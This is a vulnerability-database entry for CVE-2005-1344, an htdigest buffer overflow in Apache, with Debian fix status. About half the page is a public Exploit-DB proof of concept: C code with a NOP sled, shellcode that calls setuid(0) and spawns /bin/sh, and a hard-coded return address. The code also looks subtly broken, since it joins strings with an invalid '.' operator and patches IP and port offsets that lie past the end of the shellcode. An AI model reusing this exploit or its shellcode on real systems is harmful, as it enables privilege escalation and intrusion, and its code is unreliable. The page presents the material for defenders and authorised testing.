CVE-2005-1344

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Buffer overflow in htdigest in Apache 2.0.52 may allow attackers to execute arbitrary code via a long realm argument. NOTE: since htdigest is normally only locally accessible and not setuid or setgid, there are few attack vectors which would lead to an escalation of privileges, unless htdigest is executed from a CGI program. Therefore this may not be a vulnerability.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-25624 remote unix verified text · 2 KB
Luca Ercoli · 2005-05-06

Apache 1.3.x - HTDigest Realm Command Line Argument Buffer Overflow (1)

text exploit Source: Exploit-DB
// source: https://www.securityfocus.com/bid/13537/info

A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers.

By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values.

This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. 

#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

/********************************************************************************/

#define IP "127.1.1.1"
#define PORT 1337

unsigned int addys[] = { 0xbffffadd, // debian 3.1
                        };
// which address to use
#define ADDY 0

/*******************************************************************************/


// Point Of EIP - The ammount of data we must write to completely overflow eip
#define POE 395

// netric callback shellcode
char cb[] =
        "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

#define IP_OFFSET       33
#define PORT_OFFSET     39

void changeip(char *ip);
void changeport(char *code, int port, int offset);

int main (void) {
        char buff[416];
        int a;

        changeip(IP);
        changeport(cb, PORT, PORT_OFFSET);

        for (a = 0; a < 200; a++)
                *(buff+a) = 0x90;

        for (int b = 0; *(cb+b); a++, b++)
                *(buff+a) = *(cb+b);

        for (; a + 4 <= POE; a += 4)
                memcpy(buff+a, (addys+ADDY), 4);

        *(buff+a) = 0;

        fwrite(buff, strlen(buff), 1, stdout);
        return(0);
}

// ripped from some of snooq's code
void changeip(char *ip) {
       char *ptr;
       ptr=cb+IP_OFFSET;
       /* Assume Little-Endianess.... */
       *((long *)ptr)=inet_addr(ip);
}

// ripped from some of snooq's code
void changeport(char *code, int port, int offset) {
        char *ptr;
        ptr=code+offset;
        /* Assume Little-Endianess.... */
        *ptr++=(char)((port>>8)&0xff);
        *ptr++=(char)(port&0xff);
}
EDB-25625 remote unix verified
K-sPecial · 2005-05-11

Apache 1.3.x - HTDigest Realm Command Line Argument Buffer Overflow (2)

Source code queued for fetch — refresh in a moment.

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.0.54-3
sid Fixed 2.0.54-3
forky Fixed 2.0.54-3
bullseye Fixed 2.0.54-3
bookworm Fixed 2.0.54-3

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.